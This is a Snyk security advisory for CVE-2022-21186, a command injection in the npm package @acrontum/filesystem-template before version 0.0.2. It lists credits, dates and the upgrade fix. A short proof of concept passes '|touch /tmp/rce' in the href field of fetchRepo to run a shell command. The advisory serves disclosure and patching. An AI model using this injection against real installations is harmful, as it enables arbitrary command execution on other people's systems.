Arbitrary Command Injection Affecting @acrontum/filesystem-template package, versions <0.0.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.17% (55th percentile)

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  • Snyk IDSNYK-JS-ACRONTUMFILESYSTEMTEMPLATE-2419071
  • published20 Jul 2022
  • disclosed6 Mar 2022
  • creditFeng Xiao, Zhongfu Su

Introduced: 6 Mar 2022

CVE-2022-21186  (opens in a new tab)
CWE-77  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade @acrontum/filesystem-template to version 0.0.2 or higher.

Overview

@acrontum/filesystem-template is a Filesystem templating engine and project scaffolding tool

Affected versions of this package are vulnerable to Arbitrary Command Injection due to the fetchRepo API missing sanitization of the href field of external input.

PoC:

const filesys = require("@acrontum/filesystem-template")
filesys.fetchRepo({"pathname":"/api/1", "href": "|touch /tmp/rce", "search":"456" })

References

CVSS Scores

version 3.1